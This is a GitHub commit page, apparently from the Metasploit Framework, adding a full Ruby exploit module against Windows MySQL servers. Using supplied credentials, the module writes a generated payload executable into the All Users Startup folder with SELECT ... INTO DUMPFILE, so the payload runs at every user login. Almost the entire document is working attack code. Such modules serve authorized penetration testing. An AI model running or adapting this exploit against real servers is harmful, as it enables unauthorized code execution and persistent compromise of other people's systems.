Skip to content

Commit da6496f

Browse files
committed
Test landing rapid7#2156 into up to date branch
2 parents d8743ea + 9a0ed72 commit da6496f

File tree

1 file changed

+131
-0
lines changed

1 file changed

+131
-0
lines changed
Lines changed: 131 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,131 @@
1+
##
2+
# Current source: https://github.com/rapid7/metasploit-framework
3+
##
4+
5+
require 'msf/core'
6+
7+
class Metasploit3 < Msf::Exploit::Remote
8+
Rank = ExcellentRanking
9+
10+
include Msf::Exploit::Remote::MYSQL
11+
include Msf::Exploit::EXE
12+
include Msf::Exploit::FileDropper
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Oracle MySQL for Microsoft Windows File Write',
17+
'Description' => %q{
18+
This module takes advantage of a file privilege misconfiguration problem
19+
specifically against Windows MySQL servers. This module writes a payload to
20+
Microsoft's All Users Start Up directory which will execute every time a
21+
user logs in.
22+
},
23+
'Author' =>
24+
[
25+
'sinn3r',
26+
'Sean Verity <veritysr1980[at]gmail.com'
27+
],
28+
'DefaultOptions' =>
29+
{
30+
'DisablePayloadHandler' => 'true'
31+
},
32+
'License' => MSF_LICENSE,
33+
'References' => [ ],
34+
'Platform' => 'win',
35+
'Targets' =>
36+
[
37+
[ 'MySQL on Windows', { } ]
38+
],
39+
'DefaultTarget' => 0,
40+
))
41+
42+
register_options(
43+
[
44+
OptString.new('USERNAME', [ true, 'The username to authenticate as']),
45+
OptString.new('PASSWORD', [ true, 'The password to authenticate with'])
46+
])
47+
end
48+
49+
def check
50+
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
51+
return Exploit::CheckCode::Safe if not m
52+
53+
return Exploit::CheckCode::Appears if is_windows?
54+
return Exploit::CheckCode::Safe
55+
end
56+
57+
def peer
58+
"#{rhost}:#{rport}"
59+
end
60+
61+
def query(q)
62+
rows = []
63+
64+
begin
65+
res = mysql_query(q)
66+
return rows if not res
67+
res.each_hash do |row|
68+
rows << row
69+
end
70+
rescue RbMysql::ParseError
71+
return rows
72+
end
73+
74+
return rows
75+
end
76+
77+
def is_windows?
78+
r = query("SELECT @@version_compile_os;")
79+
return (r[0]['@@version_compile_os'] =~ /^Win/) ? true : false
80+
end
81+
82+
def get_drive_letter
83+
r = query("SELECT @@tmpdir;")
84+
drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || ''
85+
return drive
86+
end
87+
88+
def upload_file(bin, dest)
89+
p = bin.unpack("H*")[0]
90+
query("SELECT 0x#{p} into DUMPFILE '#{dest}'")
91+
end
92+
93+
def exploit
94+
print_status("#{peer} - Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
95+
begin
96+
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
97+
return if not m
98+
rescue RbMysql::AccessDeniedError
99+
print_error("#{peer} - Access denied.")
100+
return
101+
end
102+
103+
if not is_windows?
104+
print_error("#{peer} - Remote host isn't Windows.")
105+
return
106+
end
107+
108+
begin
109+
drive = get_drive_letter
110+
return if not drive
111+
rescue RbMysql::ParseError
112+
print_error("Could not determine drive name")
113+
return
114+
end
115+
116+
exe_name = Rex::Text::rand_text_alpha(5) + ".exe"
117+
dest = "#{drive}:/programdata/microsoft/windows/start menu/programs/startup/#{exe_name}"
118+
exe = generate_payload_exe
119+
120+
print_status("#{peer} - Uploading to '#{dest}'")
121+
begin
122+
upload_file(exe, dest)
123+
register_file_for_cleanup("#{dest}")
124+
rescue RbMysql::AccessDeniedError
125+
print_error("#{peer} - No permission to write. I blame kc :-)")
126+
return
127+
end
128+
129+
end
130+
131+
end

0 commit comments

Comments
 (0)